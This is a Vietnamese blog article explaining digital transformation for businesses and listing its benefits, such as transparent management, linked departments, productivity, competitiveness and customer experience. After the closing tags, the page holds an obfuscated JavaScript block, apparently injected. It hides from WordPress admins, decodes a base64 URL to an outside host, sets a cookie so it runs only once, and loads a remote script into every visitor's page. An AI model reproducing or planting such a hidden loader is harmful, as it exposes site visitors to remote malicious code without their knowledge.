Các chuyên gia đã nhận định chuyển đổi số trong doanh nghiệp hiện nay không còn là sự lựa chọn trong cách mạng 4.0 nữa. Chính nó đã trở thành xu hướng phát triển tất yếu để doanh nghiệp có thể thực sự đứng vững trước thời cuộc, đặc biệt là trong lúc nền kinh tế đang phải đối mặt với những thách thức từ đại dịch Covid-19.
Chuyển đổi số doanh nghiệp là gì?
Chuyển đổi số (Digital transformation) là việc sử dụng các công nghệ số – kỹ thuật số vào quá trình hoạt động kinh doanh, tạo ra những thay đổi trong mô hình kinh doanh, nhằm gia tăng hiệu quả vận hành, nâng cao trải nghiệm và làm hài lòng khách hàng và hơn nữa là tạo được lợi thế cạnh tranh trên thị trường.
Tại Việt Nam, chuyển đổi số được hiểu theo nghĩa là quá trình thay đổi từ mô hình truyền thống sang doanh nghiệp số bằng cách áp dụng công nghệ mới như dữ liệu lớn (Big Data), Internet vạn vật (IoT), điện toán đám mây (Cloud)… thay đổi phương thức điều hành, lãnh đạo, quy trình làm việc, văn hóa công ty.
Chuyển đổi số – Lợi ích lớn
Không phải ngẫu nhiên mà chuyển đổi số được xem như là 1 xu hướng tất yếu của thời đại. Tầm quan trọng của nó được thể hiện ở nhiều khía cạnh như: cắt giảm chi phí vận hành, tiếp cận được nhiều khách hàng hơn, minh bạch trong hệ thống quản lý, tạo ra những quyết định nhanh chóng và chính xác hơn. Qua đó, hiệu quả hoạt động và tính cạnh tranh của tổ chức, được nâng cao. Đồng thời cũng tạo cho khách hàng hình ảnh chuyên nghiệp, hiện đại – phong cách kinh doanh mang đậm hơi thở thời đại công nghệ cao..
Một doanh nghiệp số được chuyển đổi thành công thường nhận được nhiều lợi ích như sau:
Gia tăng tính minh bạch và hiệu quả và sáng tạo trong quản trị doanh nghiệp
Một cuốn sổ ghi chép không thể tiện lợi bằng 1 file Excel trên máy tính. Và 1 file Excel trên máy tính sẽ không thể ưu việt bằng một phần mềm quản lý hệ thống trong 1 doanh nghiệp. Thay vì phải ngồi chờ nhân sự gửi báo cáo qua đường email hoặc báo cáo bản cứng, các CEO – giám đốc – người quản lý hoàn toàn có thể chủ động xem các loại báo cáo mà mình muốn bất cứ lúc nào.
Khi doanh nghiệp tham gia chuyển đổi số: mọi hoạt động của DN cũng như thông tin, sản phẩm gửi đến khách hàng sẽ được cập nhật liên tục và thường xuyên trên phần mềm, như: doanh số, nhân sự, phản hồi của khách hàng, quá trình chăm sóc khách hàng… Điều này sẽ giúp nhà quản lý nắm bắt được tình hình hoạt động của công ty nhanh hơn, hiệu quả và minh bạch hơn. Có thể nói là bất cứ khi nào – bất cứ nơi đâu chỉ với chiếc smartphone hoặc máy tính nhỏ gọn có kết nối internet.
Mặt khác, việc ứng dụng kĩ thuật số trong quản lý giúp DN giải quyết nhanh chóng các vấn đề phát sinh, bảo đảm sự vận hành trong DN không bị chậm trễ, tắc nghẽn. Không chậm trễ và cũng không có “vùng tối” gây những tác động xấu đến DN. CĐS còn làm giảm thiểu rủi ro về chi phí ẩn, quỹ đen, giúp DN quản lý và tối ưu doanh thu.
Tăng cường kết nối giữa các phòng ban
Nếu như vẫn hoạt động theo mô hình cũ thì bạn sẽ thấy các phòng ban thường có sự giao lưu kết nối thông tin ít và chậm. Thông thường phòng ban nào làm việc của phòng ban đó bởi mỗi bộ phận sử dụng một phần mềm riêng lẻ. Đến khi có vấn đề cần bàn bạc hoặc trong các cuộc họp mới báo cáo tình hình với nhau. Điều này kéo theo nhiều vấn đề đáng lo ngại như: bộ máy làm việc dễ bị trì trệ, gián đoạn ở 1 số khâu, công việc thường xuyên bị tắc nghẽn không rõ nguyên nhân,.. Đặc biệt khi khắc phục sự cố thì chậm chậm hơn, bán được ít hàng hơn, doanh thu đi xuống,….
Chuyển đổi số trong doanh nghiệp sẽ giúp bạn áp dụng một nền tảng kết nối được tất cả các phòng ban nội bộ lại với nhau. Mỗi phòng ban vẫn có công cụ để phục vụ nghiệp vụ chuyên môn mà vẫn có thể truyền, trao đổi thông tin trực tiếp với bộ phận khác. Điều này sẽ đỡ mất thời gian báo cáo, tường thuật, đồng thời có thể kiểm tra “chéo” giữa các bộ phận với nhau. Các vấn đề được nhận dạng, phòng ngừa trước khi xảy ra và sẽ được xử lý nhanh chóng.
Tối ưu hóa năng lực làm việc của các nhân viên
Việc tự động hóa những công việc tạo ra giá trị thấp, để từ đó nhân lực chủ chốt sẽ được tập trung phát triển và tham dự vào những công việc tạo ra giá trị cao hơn. Đây là lý do để doanh nghiệp tối ưu năng suất làm việc của nhân viên nhằm tạo ra giá trị cao hơn hiện tại.
Ngoài ra khi có những tác động xấu từ môi trường bên ngoài (ví dụ như dịch bệnh). Rất nhiều doanh nghiệp đã nhanh chóng thích nghi qua hình thức làm việc trực tuyến. CEO vẫn tiết kiệm được chi phí hoạt động, đồng thời tăng khả năng hợp tác từ xa của nhân viên; đánh giá chất lượng công việc của từng nhân viên qua số liệu báo cáo hằng ngày, hằng tuần, hằng tháng.
Nâng cao năng lực cạnh tranh
Như đã phân tích các tác dụng ở trên, doanh nghiệp nào sở hữu nền tảng số hóa thì có thể triển khai và vận hành doanh nghiệp hiệu quả , chính xác và chất lượng hơn. Người đứng đầu có thể đưa ra những quyết định chính xác trong kinh doanh qua các giải pháp quản trị và vận hành số hóa.
Ngoài ra, việc nâng cao năng lực cạnh tranh bạn còn nhìn thấy rất rõ ở việc tương tác nhanh chóng với khách hàng, chăm sóc cá nhân hóa khách hàng, khả năng kiểm soát chất lượng sản phẩm, phục vụ khách hàng tốt hơn,.. so với các đối thủ sử dụng quản lý truyền thống.
Tạo ra trải nghiệm tốt cho khách hàng và tăng doanh thu
Trải nghiệm sản phẩm một cách nhanh chóng – hiện đại sẽ tạo ra cảm giác thú vị hơn so với khách hàng.
Với CĐS, DN đã tạo ra vô số sự lựa chọn cho khách hàng, đi kèm với đó là giá cả và dịch vụ cạnh tranh tạo ra những trải nghiệm hấp dẫn. Việc cung cấp dịch vụ tốt thông qua các công nghệ số giúp DN có nguồn khách hàng tiềm năng, đây chính là lợi ích của CĐS đem lại cho DN.
Các DN CĐS thành công đều cho thấy sự cải thiện đáng kể về hiệu quả quản trị, năng suất lao động, nâng cao chất lượng dịch vụ… qua đó tăng hiệu quả kinh doanh. Lợi ích của CĐS là rất lớn đối với DN, khi được triển khai đúng cách nó sẽ tăng doanh thu tạo ra nguồn lợi nhuận lớn cho DN.
chuyển đổi số hay là chết
chuyển đổi số 2021
(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();